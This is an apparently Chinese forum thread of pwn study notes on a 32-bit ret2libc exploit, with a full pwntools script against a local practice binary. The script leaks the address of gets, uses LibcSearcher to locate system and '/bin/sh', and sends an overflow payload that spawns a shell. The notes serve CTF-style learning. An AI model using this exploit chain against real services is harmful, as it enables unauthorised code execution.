然后rva_libc=gets_real_addr-libc.symbols[“gets”],用gets函数的真实地址减去libc中gets函数的地址,求出偏移值。

addr_system=rva_libc+libc.symbols[“system”]
addr_binsh=rva_libc+libc.search("/bin/sh").next()  
用偏移值加上libc中system和“/bin/sh”的地址,就能得到system和/bin/sh的真实地址。这里注意system是函数,用symbols修饰,/bin/sh是字符串,用search修饰。

next()是用来查找字符串的,比如next(libc.search('/bin/sh'))用来查找包含/bin/sh(字符串、某个函数或数值)的地址
4.一个疑问
我开始以为write函数和gets函数都发生了溢出,后来明白两次溢出均是gets函数,第一次呢,我们运行主函数的时候,先运行write函数,就会输出sinxx,然后我们运行vul,这里面有个数组,然后我们利用gets函数溢出,使用write函数打印出那个addr_gets,然后我们执行完之后,又会

file:///C:\Users\asus\Documents\Tencent Files\2594738584\Image\C2C\9)M28XGPMPQ}MA~DPEFR4~5.png
跳到这个vul函数,再次溢出并执行payload2。

运行 python 9.py

getshell!


回复

使用道具 举报

96

主题

131

帖子

648

积分

高级会员

Rank: 4

积分
648
 楼主| 发表于 2020-4-11 21:21:24 | 显示全部楼层
pwn学习--LibcSearcher
以上一篇ret2libc绕过地址随机化的代码为例,一般在我们做题的时候没法查看 libc 的版本之类的,连上服务器后就是程序运行起来的情况,那这时候就需要新的知识来解决了
LibcSearcher,可以通过它来找出偏移,此时依旧开启ASLR

LibcSearcher安装:
  1. git clone https://github.com/lieanu/LibcSearcher.git
  2. cd LibcSearcher
  3. python setup.py develop
复制代码
一般使用方法:
  1. libc = LibcSearcher("gets",gets_real_addr)

  2. libcbase = gets_real_addr – obj.dump("fgets")
  3. system_addr = libcbase + obj.dump("system")                   #system 偏移
  4. bin_sh_addr = libcbase + obj.dump("str_bin_sh")            #/bin/sh 偏移
复制代码

下面是exp:
  1. from pwn import *
  2. from LibcSearcher import *
  3. context(arch="i386",os="linux")
  4. p=process("9.exe")
  5. e=ELF("9.exe")
  6. addr_write=e.plt["write"]
  7. addr_gets=e.got["gets"]
  8. addr_vul=e.symbols["vul"]

  9. offset=22

  10. payload1=offset*'a'+p32(addr_write)+p32(addr_vul)+p32(1)+p32(addr_gets)+p32(4)
  11. p.sendlineafter("sinxx",payload1)
  12. gets_real_addr=u32(p.recv(4))

  13. libc=LibcSearcher("gets",gets_real_addr)
  14. libcbase=gets_real_addr-libc.dump("gets")
  15. #print(libcbase)
  16. addr_system=libcbase+libc.dump("system")
  17. addr_binsh=libcbase+libc.dump("str_bin_sh")

  18. payload2=offset*'a'+p32(addr_system)+p32(0)+p32(addr_binsh)
  19. p.sendline(payload2)
  20. p.interactive()
复制代码
对exp理解:


这个是和之前9.py的比较,主要的区别在图中已标出。
我们再看看下面几句的理解:
libc=LibcSearcher("gets",gets_real_addr)
通过之前的 payload1 我们已经泄露出了 gets函数的地址了,我们直接使用libc=LibcSearcher("gets",gets_real_addr) 就可以找出 libc 的版本了

libcbase=gets_real_addr-libc.dump("gets")
使用 libc.dump("gets") 可以计算出 gets 的偏移地址,再用 gets_real_addr 减去偏移地址就得到了 libc 的基址
addr_system=libcbase+libc.dump("system")
使用基址加上 system 的偏移,得到 system 的实际地址
addr_binsh=libcbase+libc.dump("str_bin_sh")
使用基址加上 /bin/sh 字符串 的偏移,得到/bin/sh 的实际地址
运行

我在kali里面运行并没有成功,因为三个选项都是ubuntu,所以想在ubuntu里尝试了一下,但是ubuntu的LibcSearcher还没装好(等待安装的过程实在太漫长了),之后安装好后会补齐

参考文章
https://www.yuque.com/hxfqg9/hs80y0/zzg02e#WP1Ge
https://www.cnblogs.com/xlcm/p/11905794.html
https://bbs.pediy.com/thread-255277.htm


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2020-5-26 18:37 , Processed in 0.021280 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表